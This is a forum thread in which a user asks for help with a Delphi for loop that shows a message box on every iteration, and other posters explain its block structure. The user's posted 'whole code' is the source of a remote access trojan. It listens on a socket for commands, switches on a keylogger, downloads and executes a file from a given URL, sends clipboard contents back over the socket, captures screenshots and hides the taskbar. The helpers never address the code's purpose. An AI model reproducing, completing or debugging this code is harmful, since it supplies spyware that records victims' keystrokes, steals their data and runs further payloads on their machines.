Delphi For Loop Help
mike1990 wrote: I put this in and the problem seems to be the for loop doesn't terminate
Code:
for i := 97 to 122 do
begin
if GetAsyncKeyState(i) <> 0 then
begin
key := key + Chr(i);
end;
Continue;
ShowMessage(key);```
You're basically telling it not to terminate when you use continue through every iteration. Continue ([from the Delphi docs here](http://www.delphibasics.co.uk/RTL.asp?Name=Continue)) causes a loop to break current processing and start another iteration through a loop.
The real problem is that you didn't terminate your loop at all. When you do a [for loop](http://delphi.about.com/od/beginners/a/delphi_loops.htm), you have to have a beginning and an end... like this:
```markupfor i:=97 to 122 do
begin
key := key + Chr(i);
end;
The problem might also be fixed by removing the "begin" after your if statement, since it looks like Delphi can do single-line conditions like lots of other languages:
key := key + Chr(i);
Then, the code would iterate through your for loop normally and probably ignore the continue statement. Regardless, the correct way to fix the issue is to remove the continue and do something (either remove the begin or add an end) with the if statement.
spyware wrote: Increase i every loop. This is not the correct way to fix the issue, since it redundantly adjusts i within the loop. It might as well be a while loop if we're going to do that. :)
Edit: Added Delphi for documentation link.
Thanks for that information, it gave me an understanding but still can't get it to work. It shows a messagebox up loads of times. I'm sorry for being annoying but i've searched everywhere and i can't figure this out.
var
i: Integer;
key: String;
begin
for i := 97 to 122 do
begin
if GetAsyncKeyState(i) <> 0 then
key := key + Chr(i);
ShowMessage(key);
end;
end;```
mike1990 wrote: the messagebox should come up only when a key is pressed and display only once. Any ideas? It should only come up when the if condition is met, correct? If you format your code so that your blocks of logic (begin and end;) are clearly visible, then you'll see the problem. I've adjusted what you posted to do just that:
mike1990 wrote:
var
i: Integer;
key: String;
begin
for i := 97 to 122 do
begin
if GetAsyncKeyState(i) <> 0 then
key := key + Chr(i);
ShowMessage(key);
end;
end;```
> **spyware wrote:**
Whoops, I thought delphi was weird and used unconventional looping.
Nah, but it's cool. I used to program a lot in Pascal (the predecessor to Delphi), so I'm vaguely familiar with the syntax. Definitely not a popular language, though. :)
Here's the whole code
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, StdCtrls, MMSystem, ExtCtrls, urlmon, ShellApi;
type
TForm2 = class(TForm)
server: TServerSocket;
Label1: TLabel;
keylogger: TTimer;
screenshot: TImage;
procedure FormCreate(Sender: TObject);
procedure serverClientRead(Sender: TObject; Socket: TCustomWinSocket);
procedure serverClientConnect(Sender: TObject; Socket: TCustomWinSocket);
procedure serverClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);
procedure keyloggerTimer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form2: TForm2;
implementation
{$R *.dfm}
procedure TForm2.FormCreate(Sender: TObject);
begin
server.Port := 5200;
server.Active := True;
end;
procedure TForm2.keyloggerTimer(Sender: TObject);
var
i: Integer;
key: String;
begin
for i := 97 to 122 do
begin
if GetAsyncKeyState(i) <> 0 then
key := key + Chr(i);
ShowMessage(key);
end;
end;
procedure TForm2.serverClientConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
ShowMessage('Connected');
end;
procedure TForm2.serverClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
ShowMessage('Disconnected');
end;
procedure TForm2.serverClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
data: AnsiString;
splitdata: TStringList;
screenhandle: hDc;
screencanvas: TCanvas;
screenrect: TRect;
begin
SetLength(data, socket.ReceiveLength);
SetLength(data, socket.ReceiveBuf(Pointer(data)^, Length(data)));
splitdata := TStringList.Create;
splitdata.Delimiter := '|';
splitdata.DelimitedText := String(data);
if splitdata[0] = 'msgbox' then
begin
MessageBox(Application.Handle,PChar(splitdata[2]),PChar(splitdata[1]), MB_ICONINFORMATION);
end;
if splitdata[0] = 'opencd' then
begin
mciSendString('Set CdAudio Door Open',nil,0,Handle);
end;
if splitdata[0] = 'closecd' then
begin
mciSendString('Set CdAudio Door Closed',nil,0,Handle);
end;
if splitdata[0] = 'hidetaskbar' then
begin
ShowWindow(FindWindow('Shell_TrayWnd',nil),SW_HIDE);
end;
if splitdata[0] = 'showtaskbar' then
begin
ShowWindow(FindWindow('Shell_TrayWnd',nil),SW_SHOW);
end;
if splitdata[0] = 'hidestart' then
begin
ShowWindow(FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,'Button',nil),0);
end;
if splitdata[0] = 'showstart' then
begin
ShowWindow(FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,'Button',nil),1);
end;
if splitdata[0] = 'enablekeylogger' then
begin
keylogger.Enabled := True;
end;
if splitdata[0] = 'remotedownloader' then
begin
UrlDownLoadToFile(nil,PChar(splitdata[1]),PChar(splitdata[2]),0,nil);
ShellExecute(0,'OPEN',PChar(splitdata[2]),nil,nil,SW_SHOW);
end;
if splitdata[0] = 'getclipboard' then
begin
OpenClipboard(0);
server.Socket.SendText('receiveclipboard|'+AnsiString(GetClipboardData(CF_TEXT))+'');
CloseClipboard;
end;
if splitdata[0] = 'setclipboard' then
begin
end;
if splitdata[0] = 'capturescreenshot' then
begin
screenhandle := GetWindowDC(GetDesktopWindow);
screencanvas := TCanvas.Create;
screencanvas.Handle := screenhandle;
screenrect := Rect(0,0,Screen.Width,Screen.Height);
screenshot.Canvas.CopyRect(screenrect,screencanvas,screenrect);
ReleaseDC(GetDesktopWindow, screenhandle);
screenshot.Picture.SaveToFile('screenshot.bmp');
end;
end;
end.```
Still doesn't work :(
**define wrote:**If you format your code so that your blocks of logic (begin and end;) are clearly visible, then you'll see the problem. I've adjusted what you posted to do just that:
[quote]mike1990 wrote:
var
i: Integer;
key: String;
begin
for i := 97 to 122 do
begin
if GetAsyncKeyState(i) <> 0 then
key := key + Chr(i);
ShowMessage(key);
end;
end;```
[/quote]
> **mike1990 wrote:**
Thank you mate, should that code work properly now?
No, of course not... I said above that I was simply adjusting the formatting of the code to make it more readable. It lets you see, plain as day, why you're getting a message on every for loop iteration.
I'm not going to spoon-feed you code. You're going to learn how to program through hints and progressive learning, or your program will continue to fail. I've given you all the tools to solve the problem in this thread already. Now it's your turn to solve it.
> **MoshBat wrote:**
Okay, as far as I know, there are no decent Delphi coders here. Try a specific forum, or post any errors.
Read my comment above about Pascal. :) Also, you should be able to discern what the problem is simply by pseudo-coding it. Translated to any other language, this program will fail the exact same way. It's a problem with the logic, not with syntax.